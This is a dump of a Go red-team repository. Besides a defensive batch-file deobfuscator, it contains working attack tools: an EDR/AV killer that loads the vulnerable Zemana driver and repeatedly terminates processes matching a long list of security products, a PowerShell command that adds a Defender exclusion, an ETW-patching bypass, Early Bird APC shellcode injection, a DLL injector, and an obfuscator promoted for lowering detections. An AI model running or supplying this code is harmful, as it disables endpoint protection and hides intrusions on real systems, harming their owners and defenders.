$$_/ /$$_____/| $$__ $$ | $$ /$$| $$_____/| $$ \ $$| $$ \ $$| $$_/ | $$ | $$| $$$$$$$| $$ /$$$$$$$ | $$ | $$ \ $$| $$ \__/ 48 | | $$__ $$ /$$$$$$$ | $$ | $$ | $$ \ $$ | $$| $$| $$ | $$ | $$| $$ | $$| $$ | $$ | $$ \____ $$| $$ /$$__ $$ | $$ /$$| $$ | $$| $$ 49 | | $$ \ $$ /$$__ $$ | $$ /$$| $$ | $$ | $$ | $$| $$| $$ | $$ | $$| $$ | $$| $$ | $$ | $$ /$$ \ $$| $$ | $$$$$$/ | $$ $$| $$$$$$/| $$ 50 | | $$$$$$$/| $$$$$$$ | $$$$/| $$$$$$$| $$$$$$$/ | $$$$$$/| $$$$$$$| $$$$$$/| $$$$$$/| $$ | $$$$$$/| $$$$$$/| $$$$$$$ \______/ | $$$$$/| $$$$$$/|__/ 51 | |_______/ \_______/ \___/ \_______/|_______/ \______/ \_______/ \______/ \______/ |__/ \______/ \______/ \_______/ \___/ \______/ 52 | ` 53 | gostyle.Taperfade(ascii, gostyle.PURPLE_TO_BLUE) 54 | cool := ` 55 | =============================================================================================================================================================================== 56 | | > [NOTE] CODED BY EVILBYTECODE AKA GODFATHERCODEPULZE 57 | | > [OPTION] CHOOSE OPTION BELOW. 58 | =============================================================================================================================================================================== 59 | | [1] FAMILY = BAUM1810 Deobfuscator 60 | | [2] FAMILY = Chineese Letters / CERTUTIL . MOOM825 . DEADCODE 61 | | 62 | =============================================================================================================================================================================== 63 | ` 64 | gostyle.Taperfade(cool, gostyle.PURPLE_TO_RED) 65 | 66 | } 67 | 68 | func ho(opt int) bool { 69 | var fn string 70 | fmt.Print("> Enter filename: ") 71 | fmt.Scanln(&fn) 72 | con, err := rf(fn) 73 | if err != nil { 74 | fmt.Printf("Error reading file: %v\n", err) 75 | return true 76 | } 77 | 78 | var cc string 79 | var of string 80 | 81 | switch opt { 82 | case 1: 83 | cc = deobfuscateBaum1810(con) 84 | of = "deobfuscated_baum1810.txt" 85 | case 2: 86 | cc = deobfuscateMoom825(con) 87 | of = "deobfuscated_moom825.txt" 88 | default: 89 | fmt.Println("Invalid option. Please try again.") 90 | return true 91 | } 92 | 93 | err = wf(of, cc) 94 | if err != nil { 95 | fmt.Printf("Error writing to file: %v\n", err) 96 | return true 97 | } 98 | 99 | fmt.Printf("Deobfuscated content saved to %s\n", of) 100 | return true 101 | } 102 | 103 | func main() { 104 | for { 105 | MM() 106 | var opt int 107 | fmt.Print("> Enter your choice: ") 108 | fmt.Scanln(&opt) 109 | if !ho(opt) { 110 | break 111 | } 112 | } 113 | } -------------------------------------------------------------------------------- /BatchfileDeobfuscator/readme.md: -------------------------------------------------------------------------------- 1 | # Batchfile-Deobfuscator 2 | - I made this beacuse i seen many payloads being made in batchfile, which are malicious and i wanted to do some malware analysis, and i wanted an automatized tool, so i made this for reverse engineers to simplify their life 3 | 4 | 5 |
6 | 7 |
8 | 9 | # Discord: codepulze 10 | 11 | - Golang Batchfile Deobfuscator, deobfuscate Chineese or Other Batchfile Methods. 12 | - Made with ❤️ By Codepulze 13 | 14 | # Getting Started: 15 | - Install GoStyle Library: 16 | ``` 17 | go get github.com/MmCopyMemory/gostyle/pkg/gostyle 18 | ``` 19 | After do 20 | ``` 21 | go run Deobfuscate.go 22 | ``` 23 | 24 | # [DEOBFUSCATION] Features 25 | - https://github.com/baum1810/batchobfuscator 26 | - https://github.com/moom825/batch-obfuscator-made-in-python 27 | - Can Deobfuscate ANY Chineese letters method. 28 | - Example how Chineese letters i mean: 29 | ``` 30 | 挦獬਍╀啰求捉縺㤸㠬┳倥䉕楌㩣㕾ㄬ䌥潈⁞景╞畐求䍉縺㘴ㄬ┶൦匊瑅删㵞杊╞啰䱂捉縺㌱ㄬ帥瑧塇╺啰䱂捉縺ⰴ┱╷啰䱂捉縺ㄱㄬ帥浨瀥䉕䥌㩣ㅾⰰ┱卞䡞幉幏ു帊瀥䉕䥬㩃ㅾⰴ┱䱞瀥䉕楬㩃㕾ⰵ㜱帥瀥扵䥬㩣㑾ㄬഥ䀊敞捞爥縺㔱ㄬ帥爥縺㜱ㄬ‥╞㩲ㅾⰷ┱൮䀊捥爥縺ㄱㄬ漥漠晦਍捥爥縺ㄱㄬ漥┠㩲ㅾⰱ┱汥潬┠㩲㥾ㄬ漥汲൤瀊╡㩲ㅾⰳ┱爥縺ⰸ┱൥┊㩲㡾ㄬ攥爥縺ⰴ┱愠㴠┠縥൩┊㩲㡾ㄬ攥爥縺ⰴ┱愠㴠┠⬠┠楾┢縥爥縺ⰲ┱┢਍敳⁴⁡‽愥ഥ㨊慡慡慡慡慡慡慡慡慡慡慡慡慡慡扡਍ 31 | ``` 32 | - Also can deobfuscate: 33 | ``` 34 | ::obfuscated by https://github.com/baum1810 35 | @%TP%E%lTiV%c%UvhHojyQ%h%gXROkME%o%UB% %CQTpF%o%OdygZFcFXF%f%tWHneAr%f%iex% 36 | e%ix%c%woJJQTdfW%h%GSbDSbsbwb%o%spweTvuzy% %wMDHYsY%h%Shn%i%wA% 37 | e%GPRXtLmD%c%HVsgUoe%h%ciFdvqaOK%o%sI% %iif%g%ZDEYCkvg%o%uotmKQ% 38 | e%rTdAazQ%c%UmLTKkaow%h%FtwEObR%o%vwSEMHOULh% %I%g%q%i%guC%h%NzEvLJAICt%i%gYCvPF%h%pDR%i%xumh%h%iFL% 39 | p%aFtuZSqS%a%c%u%seQbJ%s%B%e%cYjyR% 40 | ``` 41 | 42 | ## Want more features? 43 | - Pull an issue or PR and provide me obfuscators you want me to make automatized deobfucation for.. 44 | 45 | 46 |
47 | 48 |
49 | -------------------------------------------------------------------------------- /CreateDLL/CreateDLL.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import "C" 4 | import ( 5 | "syscall" 6 | "golang.org/x/sys/windows" 7 | ) 8 | // this will show message box that says it injected sucessfuly if injected sucessfully 9 | func init() { 10 | windows.MessageBox(windows.HWND(0), syscall.StringToUTF16Ptr("Injected Sucessfully"), syscall.StringToUTF16Ptr("Injection works"), windows.MB_OK) 11 | } 12 | 13 | func main() {} -------------------------------------------------------------------------------- /CreateDLL/README.md: -------------------------------------------------------------------------------- 1 | ## Create DLL in Go 2 | - Compile below to create an dll in go 3 | ```go -o main.dll -buildmode=c-shared main.go``` 4 | - this will create a new dll in your current directory, but note you need injector so i have taken care of that, and its in repo called GoDLLInjector -------------------------------------------------------------------------------- /EDR-XDR-AV-Killer/README.md: -------------------------------------------------------------------------------- 1 | # GoPulzeTerminator 2 | 3 | * Reproducing Spyboy technique, which involves terminating all EDR/XDR/AVs processes by abusing the zam64.sys driver 4 | * Spyboy was selling the Terminator software at a price of $3,000 [for more detail](https://www.bleepingcomputer.com/news/security/terminator-antivirus-killer-is-a-vulnerable-windows-driver-in-disguise/) 5 | * the sample is sourced from [loldrivers](https://www.loldrivers.io/drivers/49920621-75d5-40fc-98b0-44f8fa486dcc/) 6 | 7 | # usage 8 | 9 | * Place the driver `Terminator.sys` in the same path as the executable 10 | * run the program as an administrator 11 | * keep the program running to prevent the service from restarting the anti-malwares 12 | 13 | ![image](https://github.com/EvilBytecode/GoRedOps/assets/151552809/5dab4648-35e5-4fa0-a62f-24c04a029463) 14 | 15 | 16 | # technical details 17 | 18 | * The driver contains some protectiion mechanism that only allow trusted Process IDs to send IOCTLs, Without adding your process ID to the trusted list, you will receive an 'Access Denied' message every time. However, this can be easily bypassed by sending an IOCTL with our PID to be added to the trusted list, which will then permit us to control numerous critical IOCTLs 19 | 20 | ![image](https://github.com/ZeroMemoryEx/Terminator/assets/60795188/e26238c8-fcf8-40ec-9ed8-8e8de9436093) 21 | 22 | * Comes with simple antidbg. 23 | * Add This so WD Ignores defender by this quick sample 24 | 25 | ```go 26 | exec.Command("powershell", "-Command", "Set-MpPreference -ExclusionExtension *.sys -Force").Run() 27 | ``` 28 | # How to lower detections? 29 | - Use this repo to obfuscate the go code and lower detections: https://github.com/EvilBytecode/GolangObfuscator 30 | - Credits to ZeroMemoryX 👍 31 | -------------------------------------------------------------------------------- /EDR-XDR-AV-Killer/Terminator.sys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EvilBytecode/GoRedOps/2546c2971f42b4ef43e1414f57a5aa7e4d984cef/EDR-XDR-AV-Killer/Terminator.sys -------------------------------------------------------------------------------- /EDR-XDR-AV-Killer/go.mod: -------------------------------------------------------------------------------- 1 | module EdrXdrKiller 2 | 3 | go 1.22.2 4 | 5 | require golang.org/x/sys v0.21.0 // indirect 6 | -------------------------------------------------------------------------------- /EDR-XDR-AV-Killer/go.sum: -------------------------------------------------------------------------------- 1 | golang.org/x/sys v0.21.0 h1:rF+pYz3DAGSQAxAu1CbC7catZg4ebC4UIeIhKxBZvws= 2 | golang.org/x/sys v0.21.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 3 | -------------------------------------------------------------------------------- /EDR-XDR-AV-Killer/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | "strings" 7 | "syscall" 8 | "unsafe" 9 | "time" 10 | "golang.org/x/sys/windows" 11 | ) 12 | 13 | const ( 14 | IOCTL_REGISTER_PROCESS = 0x80002010 15 | IOCTL_TERMINATE_PROCESS = 0x80002048 16 | ) 17 | 18 | var _ unsafe.Pointer 19 | 20 | // Do the interface allocations only once for common 21 | // Errno values. 22 | const ( 23 | errnoERROR_IO_PENDING = 997 24 | ) 25 | 26 | var ( 27 | errERROR_IO_PENDING error = syscall.Errno(errnoERROR_IO_PENDING) 28 | errERROR_EINVAL error = syscall.EINVAL 29 | ) 30 | 31 | // errnoErr returns common boxed Errno values, to prevent 32 | // allocations at runtime. 33 | func errnoErr(e syscall.Errno) error { 34 | switch e { 35 | case 0: 36 | return errERROR_EINVAL 37 | case errnoERROR_IO_PENDING: 38 | return errERROR_IO_PENDING 39 | } 40 | // TODO: add more here, after collecting data on the common 41 | // error values see on Windows. (perhaps when running 42 | // all.bat?) 43 | return e 44 | } 45 | 46 | 47 | 48 | var ( 49 | gtc = syscall.NewLazyDLL("kernel32.dll").NewProc("GetTickCount") 50 | mk32 = windows.NewLazySystemDLL("Kernel32.dll") 51 | pep = mk32.NewProc("K32EnumProcesses") 52 | devico = mk32.NewProc("DeviceIoControl") 53 | drivnam = "Terminator" 54 | edrgaylist = []string{ 55 | "activeconsole", "anti malware", "anti-malware", 56 | "antimalware", "anti virus", "anti-virus", 57 | "antivirus", "appsense", "authtap", 58 | "avast", "avecto", "canary", 59 | "carbonblack", "carbon black", "cb.exe", 60 | "ciscoamp", "cisco amp", "countercept", 61 | "countertack", "cramtray", "crssvc", 62 | "crowdstrike", "csagent", "csfalcon", 63 | "csshell", "cybereason", "cyclorama", 64 | "cylance", "cyoptics", "cyupdate", 65 | "cyvera", "cyserver", "cytray", 66 | "darktrace", "defendpoint", "defender", 67 | "eectrl", "elastic", "endgame", 68 | "f-secure", "forcepoint", "fireeye", 69 | "groundling", "GRRservic", "inspector", 70 | "ivanti", "kaspersky", "lacuna", 71 | "logrhythm", "malware", "mandiant", 72 | "mcafee", "morphisec", "msascuil", 73 | "msmpeng", "nissrv", "omni", 74 | "omniagent", "osquery", "palo alto networks", 75 | "pgeposervice", "pgsystemtray", "privilegeguard", 76 | "procwall", "protectorservic", "qradar", 77 | "redcloak", "secureworks", "securityhealthservice", 78 | "semlaunchsv", "sentinel", "sepliveupdat", 79 | "sisidsservice", "sisipsservice", "sisipsutil", 80 | "smc.exe", "smcgui", "snac64", 81 | "sophos", "splunk", "srtsp", 82 | "servicehost.exe", "mcshield.exe", 83 | "mcupdatemgr.exe", "QcShm.exe", "ModuleCoreService.exe", "PEFService.exe", "McAWFwk.exe", "mfemms.exe", "mfevtps.exe", "McCSPServiceHost.exe", "Launch.exe", "delegate.exe", "McDiReg.exe", "McPvTray.exe", "McInstruTrack.exe", "McUICnt.exe", "ProtectedModuleHost.exe", "MMSSHOST.exe", "MfeAVSvc.exe", 84 | "symantec", "symcorpu", "symefasi", 85 | "sysinternal", "sysmon", "tanium", 86 | "tda.exe", "tdawork", "tpython", 87 | "mcapexe.exe", 88 | "vectra", "wincollect", "windowssensor", 89 | "wireshark", "threat", "xagt.exe", 90 | "xagtnotif.exe", "mssense", "efwd.exe", "ekrn.exe", 91 | } 92 | ) 93 | 94 | func loaddriv(driverPath string) bool { 95 | manghand, err := windows.OpenSCManager(nil, nil, windows.SC_MANAGER_ALL_ACCESS) 96 | if err != nil { 97 | fmt.Println("erm... Failed to open service control manager:", err) 98 | return true 99 | } 100 | defer windows.CloseServiceHandle(manghand) 101 | 102 | serviceHandle, err := windows.OpenService(manghand, windows.StringToUTF16Ptr(drivnam), windows.SERVICE_ALL_ACCESS) 103 | if err == nil { 104 | fmt.Println("erm... Service already exists.") 105 | var serviceStatus windows.SERVICE_STATUS 106 | err := windows.QueryServiceStatus(serviceHandle, &serviceStatus) 107 | if err != nil { 108 | fmt.Println("erm... Failed to query service status:", err) 109 | return true 110 | } 111 | if serviceStatus.CurrentState == windows.SERVICE_STOPPED { 112 | err = windows.StartService(serviceHandle, 0, nil) 113 | if err != nil { 114 | fmt.Println("erm... Failed to start service:", err) 115 | return true 116 | } 117 | fmt.Println("erm... Starting service...") 118 | } 119 | windows.CloseServiceHandle(serviceHandle) 120 | return false 121 | } 122 | 123 | driverPathPtr, err := syscall.UTF16PtrFromString(driverPath) 124 | if err != nil { 125 | fmt.Println("erm... Failed to convert driver path:", err) 126 | return true 127 | } 128 | 129 | serviceHandle, err = windows.CreateService(manghand, windows.StringToUTF16Ptr(drivnam), 130 | windows.StringToUTF16Ptr(drivnam), windows.SERVICE_ALL_ACCESS, windows.SERVICE_KERNEL_DRIVER, 131 | windows.SERVICE_DEMAND_START, windows.SERVICE_ERROR_IGNORE, driverPathPtr, nil, nil, nil, nil, nil) 132 | if err != nil { 133 | fmt.Println("erm... Failed to create service:", err) 134 | return true 135 | } 136 | fmt.Println("erm... Service created successfully.") 137 | 138 | err = windows.StartService(serviceHandle, 0, nil) 139 | if err != nil { 140 | fmt.Println("erm... Failed to start service:", err) 141 | windows.CloseServiceHandle(serviceHandle) 142 | return true 143 | } 144 | fmt.Println("erm... started service...") 145 | windows.CloseServiceHandle(serviceHandle) 146 | 147 | return false 148 | } 149 | 150 | func gay(str string) string { 151 | return strings.ToLower(str) 152 | } 153 | 154 | func edrlistcheck(pn string) bool { 155 | tempv := gay(pn) 156 | for _, edr := range edrgaylist { 157 | if strings.Contains(tempv, edr) { 158 | return true 159 | } 160 | } 161 | return false 162 | } 163 | 164 | func DeviceIoControl(p1 windows.Handle, p2 uint32, p3 uintptr, p4 uint32, p5 uintptr, p6 uint32, p7 *uint32, p8 uintptr) (err error) { 165 | r1, _, e1 := syscall.Syscall9(devico.Addr(), 8, uintptr(p1), uintptr(p2), p3, uintptr(p4), p5, uintptr(p6), uintptr(unsafe.Pointer(p7)), p8, 0) 166 | if r1 == 0 { 167 | err = errnoErr(e1) 168 | } 169 | return 170 | } 171 | 172 | 173 | func edrcheck(hDevice windows.Handle) int { 174 | var procId, pOutbuff uint32 175 | var bytesRet uint32 176 | var ecount int 177 | var hSnap windows.Handle 178 | 179 | hSnap, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0) 180 | if err != nil { 181 | fmt.Println("ermm.... failed to create process snapshot:", err) 182 | return ecount 183 | } 184 | defer windows.CloseHandle(hSnap) 185 | 186 | var pE windows.ProcessEntry32 187 | pE.Size = uint32(unsafe.Sizeof(pE)) 188 | 189 | err = windows.Process32First(hSnap, &pE) 190 | 191 | for { 192 | if err != nil { 193 | break 194 | } 195 | exeName := windows.UTF16ToString(pE.ExeFile[:]) 196 | if edrlistcheck(exeName) { 197 | procId = pE.ProcessID 198 | err := DeviceIoControl(hDevice, IOCTL_TERMINATE_PROCESS, 199 | uintptr(unsafe.Pointer(&procId)), uint32(unsafe.Sizeof(procId)), 200 | uintptr(unsafe.Pointer(&pOutbuff)), uint32(unsafe.Sizeof(pOutbuff)), 201 | &bytesRet, 0) 202 | if err != nil { 203 | fmt.Printf("erm... failed to terminate %s !!\n", exeName) 204 | } else { 205 | fmt.Printf("erm... terminated %s\n", exeName) 206 | ecount++ 207 | } 208 | } 209 | err = windows.Process32Next(hSnap, &pE) 210 | } 211 | return ecount 212 | 213 | } 214 | 215 | func rpc() int { 216 | // current running proceesses 217 | var ids [1024]uint32 218 | var needed uint32 219 | pep.Call(uintptr(unsafe.Pointer(&ids)), uintptr(len(ids)), uintptr(unsafe.Pointer(&needed))) 220 | return int(needed / 4) 221 | } 222 | 223 | func main() { 224 | 225 | heh, _, _ := gtc.Call() 226 | if heh/1000 < 1200 { 227 | os.Exit(-1) 228 | } 229 | // Check Processes (Workstations have most of the time less than 50) 230 | count := rpc() 231 | if count < 50 { 232 | return 233 | } 234 | 235 | var FullDriverPath string 236 | 237 | hFind, _ := syscall.FindFirstFile(syscall.StringToUTF16Ptr("Terminator.sys"), &syscall.Win32finddata{}) 238 | 239 | if hFind != syscall.InvalidHandle { // file is not found 240 | var err error 241 | FullDriverPath, err = syscall.FullPath("Terminator.sys") 242 | if err != nil { // full path is not found 243 | fmt.Println("Path not found !!") 244 | os.Exit(-1) 245 | } 246 | } else { 247 | fmt.Println("Driver not found !!") 248 | os.Exit(-1) 249 | } 250 | fmt.Printf("Driver path: %s\n", FullDriverPath) 251 | 252 | if loaddriv(FullDriverPath) { 253 | fmt.Println("Failed to load driver, try to run the program as administrator!!") 254 | os.Exit(-1) 255 | } 256 | fmt.Println("Driver loaded successfully !!") 257 | 258 | hDevice, err := syscall.CreateFile(syscall.StringToUTF16Ptr(`\\.\ZemanaAntiMalware`), syscall.GENERIC_WRITE|syscall.GENERIC_READ, 0, 259 | nil, syscall.OPEN_EXISTING, syscall.FILE_ATTRIBUTE_NORMAL, 0) 260 | if err != nil { 261 | fmt.Println("Failed to open handle to driver !!") 262 | os.Exit(-1) 263 | } 264 | 265 | var input uint32 = uint32(windows.GetCurrentProcessId()) 266 | var dummy uint32 267 | if err := DeviceIoControl(windows.Handle(hDevice), IOCTL_REGISTER_PROCESS, uintptr(unsafe.Pointer(&input)), uint32(unsafe.Sizeof(input)), 268 | 0, 0, &dummy, 0); err != nil { 269 | 270 | fmt.Printf("Failed to register the process in the trusted list %X !!\n", IOCTL_REGISTER_PROCESS) 271 | syscall.CloseHandle(hDevice) 272 | os.Exit(-1) 273 | } 274 | fmt.Printf("Process registered in the trusted list %X !!\n", IOCTL_REGISTER_PROCESS) 275 | 276 | fmt.Println("Terminating ALL EDR/XDR/AVs...") 277 | for { 278 | if count := edrcheck(windows.Handle(hDevice)); count == 0 { 279 | time.Sleep(1 * time.Second) 280 | } else { 281 | time.Sleep(1 * time.Second) 282 | } 283 | } 284 | } -------------------------------------------------------------------------------- /ETWBypass/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | /* 4 | #cgo LDFLAGS: -lkernel32 -lntdll 5 | 6 | #include 7 | #include 8 | 9 | BOOL PatchETW(void* function) { 10 | BYTE hook[] = {0x33, 0xC0, 0xC3}; // XOR EAX,EAX; RET 11 | HMODULE hModule = GetModuleHandleA("ntdll.dll"); 12 | if (hModule == NULL) { 13 | printf("[!] GetModuleHandleA Failed\n"); 14 | return FALSE; 15 | } 16 | FARPROC address = GetProcAddress(hModule, function); 17 | if (address == NULL) { 18 | printf("[!] GetProcAddress Failed\n"); 19 | return FALSE; 20 | } 21 | DWORD oldProtect; 22 | if (!VirtualProtect(address, sizeof(hook), PAGE_EXECUTE_READWRITE, &oldProtect)) { 23 | printf("[!] VirtualProtect Failed\n"); 24 | return FALSE; 25 | } 26 | memcpy(address, hook, sizeof(hook)); 27 | if (!VirtualProtect(address, sizeof(hook), oldProtect, &oldProtect)) { 28 | printf("[!] VirtualProtect Restore Failed\n"); 29 | return FALSE; 30 | } 31 | printf("[+] Patch ETW Finished!\n"); 32 | return TRUE; 33 | } 34 | */ 35 | import "C" 36 | import ( 37 | "fmt" 38 | "unsafe" 39 | ) 40 | 41 | func main() { 42 | etwevenwrite := "EtwEventWrite" 43 | cFunctionName := C.CString(etwevenwrite) 44 | defer C.free(unsafe.Pointer(cFunctionName)) 45 | 46 | success := C.PatchETW(unsafe.Pointer(cFunctionName)) 47 | if success == C.FALSE { 48 | fmt.Println("[!] Patching ETW failed") 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /Early_Bird_APC_Injection/Early_Bird_APC_Injection.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "syscall" 6 | "unsafe" 7 | ) 8 | 9 | var ( 10 | kernel32 = syscall.NewLazyDLL("kernel32.dll") 11 | ntdll = syscall.NewLazyDLL("ntdll.dll") 12 | VirtualAllocEx = kernel32.NewProc("VirtualAllocEx") 13 | VirtualProtectEx = kernel32.NewProc("VirtualProtectEx") 14 | WriteProcessMemory = kernel32.NewProc("WriteProcessMemory") 15 | CreateProcessA = kernel32.NewProc("CreateProcessA") 16 | CreateRemoteThread = kernel32.NewProc("CreateRemoteThread") 17 | QueueUserAPC = kernel32.NewProc("QueueUserAPC") 18 | DebugActiveProcessStop = kernel32.NewProc("DebugActiveProcessStop") 19 | CloseHandle = kernel32.NewProc("CloseHandle") 20 | SleepEx = kernel32.NewProc("SleepEx") 21 | 22 | Startinf syscall.StartupInfo 23 | ProcInfo syscall.ProcessInformation 24 | ) 25 | 26 | const ( 27 | MEM_COMMIT = 0x1000 28 | MEM_RESERVE = 0x2000 29 | PAGE_READWRITE = 0x04 30 | PAGE_EXECUTE_READWRITE = 0x40 31 | DEBUG_PROCESS = 0x00000001 32 | INFINITE = 0xFFFFFFFF 33 | ) 34 | 35 | // Shellcode to start calc.exe 36 | var ShellCode = []byte{ 37 | 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 38 | 0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 39 | 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 40 | 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 41 | 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 42 | 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 43 | 0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3, 44 | } 45 | 46 | func main() { 47 | /* 48 | inject malicious code into legitimate processes. inserting malicious code into a process in its early stages 49 | */ 50 | cl := "C:\\Windows\\System32\\calc.exe" 51 | 52 | ret, _, err := CreateProcessA.Call( 53 | 0, 54 | uintptr(unsafe.Pointer(syscall.StringBytePtr(cl))), 55 | 0, 56 | 0, 57 | 0, 58 | DEBUG_PROCESS, 59 | 0, 60 | 0, 61 | uintptr(unsafe.Pointer(&Startinf)), 62 | uintptr(unsafe.Pointer(&ProcInfo)), 63 | ) 64 | if ret == 0 { 65 | panic(fmt.Sprintf("CreateProcessA failed: %v", err)) 66 | } 67 | 68 | hProcess := ProcInfo.Process 69 | hThread := ProcInfo.Thread 70 | 71 | addr, _, err := VirtualAllocEx.Call( 72 | uintptr(hProcess), 73 | 0, 74 | uintptr(len(ShellCode)), 75 | MEM_COMMIT|MEM_RESERVE, 76 | PAGE_READWRITE, 77 | ) 78 | if addr == 0 { 79 | panic(fmt.Sprintf("VirtualAllocEx failed: %v", err)) 80 | } 81 | 82 | _, _, err = WriteProcessMemory.Call( 83 | uintptr(hProcess), 84 | addr, 85 | uintptr(unsafe.Pointer(&ShellCode[0])), 86 | uintptr(len(ShellCode)), 87 | 0, 88 | ) 89 | if ret == 0 { 90 | panic(fmt.Sprintf("WriteProcessMemory failed: %v", err)) 91 | } 92 | 93 | var ldprotect uint32 94 | ret, _, err = VirtualProtectEx.Call( 95 | uintptr(hProcess), 96 | addr, 97 | uintptr(len(ShellCode)), 98 | PAGE_EXECUTE_READWRITE, 99 | uintptr(unsafe.Pointer(&ldprotect)), 100 | ) 101 | if ret == 0 { 102 | panic(fmt.Sprintf("VirtualProtectEx failed: %v", err)) 103 | } 104 | 105 | ret, _, err = QueueUserAPC.Call( 106 | addr, 107 | uintptr(hThread), 108 | 0, 109 | ) 110 | if ret == 0 { 111 | panic(fmt.Sprintf("QueueUserAPC failed: %v", err)) 112 | } 113 | 114 | ret, _, err = DebugActiveProcessStop.Call(uintptr(ProcInfo.ProcessId)) 115 | if ret == 0 { 116 | panic(fmt.Sprintf("DebugActiveProcessStop failed: %v", err)) 117 | } 118 | 119 | ret, _, err = CloseHandle.Call(uintptr(hProcess)) 120 | if ret == 0 { 121 | panic(fmt.Sprintf("CloseHandle (process) failed: %v", err)) 122 | } 123 | 124 | ret, _, err = CloseHandle.Call(uintptr(hThread)) 125 | if ret == 0 { 126 | panic(fmt.Sprintf("CloseHandle (thread) failed: %v", err)) 127 | } 128 | } 129 | -------------------------------------------------------------------------------- /GoDLLInjector/Injector.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "flag" 5 | "fmt" 6 | "log" 7 | "syscall" 8 | 9 | "golang.org/x/sys/windows" 10 | ) 11 | 12 | func main() { 13 | //CHANGE THESE 14 | dPath := "DLL_PATH" //Path to the DLL file to inject (enter the dll that you made as example in CreateDLL) 15 | pId := uintptr(PROCESS_ID) //Process ID (PID) 16 | //// 17 | 18 | kernel32 := windows.NewLazyDLL("kernel32.dll") 19 | 20 | //Opens a handle to the target process with the needed permissions 21 | pHandle, err := windows.OpenProcess(windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION, false, uint32(pId)) 22 | if err != nil { 23 | log.Fatal(err) 24 | } 25 | fmt.Println("Process opened") 26 | //// 27 | 28 | //Allocates virtual memory for the file path 29 | VirtualAllocEx := kernel32.NewProc("VirtualAllocEx") 30 | vAlloc, _, err := VirtualAllocEx.Call(uintptr(pHandle), 0, uintptr(len(dPath)+1), windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_EXECUTE_READWRITE) 31 | fmt.Println("Memory allocated") 32 | //// 33 | 34 | //Converts the file path to type *byte 35 | bPtrDpath, err := windows.BytePtrFromString(dPath) 36 | if err != nil { 37 | log.Fatal(err) 38 | } 39 | //// 40 | 41 | //Writes the filename to the previously allocated space 42 | Zero := uintptr(0) 43 | err = windows.WriteProcessMemory(pHandle, vAlloc, bPtrDpath, uintptr(len(dPath)+1), &Zero) 44 | if err != nil { 45 | log.Fatal(err) 46 | } 47 | fmt.Println("DLL path written") 48 | //// 49 | 50 | //Gets a pointer to the LoadLibrary function 51 | LoadLibAddr, err := syscall.GetProcAddress(syscall.Handle(kernel32.Handle()), "LoadLibraryA") 52 | if err != nil { 53 | log.Fatal(err) 54 | } 55 | //// 56 | 57 | //Creates a remote thread that loads the DLL triggering it 58 | tHandle, _, _ := kernel32.NewProc("CreateRemoteThread").Call(uintptr(pHandle), 0, 0, LoadLibAddr, vAlloc, 0, 0) 59 | defer syscall.CloseHandle(syscall.Handle(tHandle)) 60 | fmt.Println("DLL Injected") 61 | //// 62 | 63 | } 64 | // credits to : https://medium.com/@R00tendo/dll-creation-and-injection-with-golang-708a302a1120 -------------------------------------------------------------------------------- /GoObfuscator/GoFuscator.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bytes" 5 | "crypto/aes" 6 | "crypto/cipher" 7 | "encoding/hex" 8 | "errors" 9 | "flag" 10 | "fmt" 11 | "go/ast" 12 | "go/format" 13 | "go/parser" 14 | "go/token" 15 | "io/ioutil" 16 | "math/rand" 17 | "os" 18 | "path/filepath" 19 | "strconv" 20 | "strings" 21 | "time" 22 | "unicode" 23 | log "github.com/sirupsen/logrus" 24 | "golang.org/x/tools/go/ast/astutil" 25 | ) 26 | 27 | var ( 28 | srcPath = flag.String("srcpath", "", "the path to the src directory") 29 | writeChanges = flag.Bool("writechanges", false, "write changes to files") 30 | obfCalls = flag.Bool("calls", false, "enable randomization of calls and functions") 31 | obfLoops = flag.Bool("loops", false, "obfuscate loops by converting to gotos") 32 | obfStrings = flag.Bool("strings", false, "obfuscate strings by encryption") 33 | obfStringKey = flag.String("stringsKey", "0101010101010101010101010101010101010101010101010101010101010101", "the key for encrypting strings (64 length)") 34 | obfStringNonce = flag.String("stringNonce", "010101010101010101010101", "the nonce for encrypting strings (24 length)") 35 | verbose = flag.Bool("verbose", false, "be verbose") 36 | deadcode = flag.Bool("deadcode", false, "add some deadcode") 37 | letterRunes = []rune("abcdefghijklmnopqrstuvwxyz") 38 | ) 39 | 40 | func init() { 41 | rand.Seed(time.Now().UnixNano()) 42 | log.SetOutput(os.Stdout) 43 | } 44 | 45 | func parsedir(fset *token.FileSet, path string, filter func(string) bool, mode parser.Mode) (map[string]*ast.Package, error) { 46 | list := []string{} 47 | err := filepath.Walk(path, func(fpath string, info os.FileInfo, err error) error { 48 | if err != nil { 49 | return err 50 | } 51 | list = append(list, 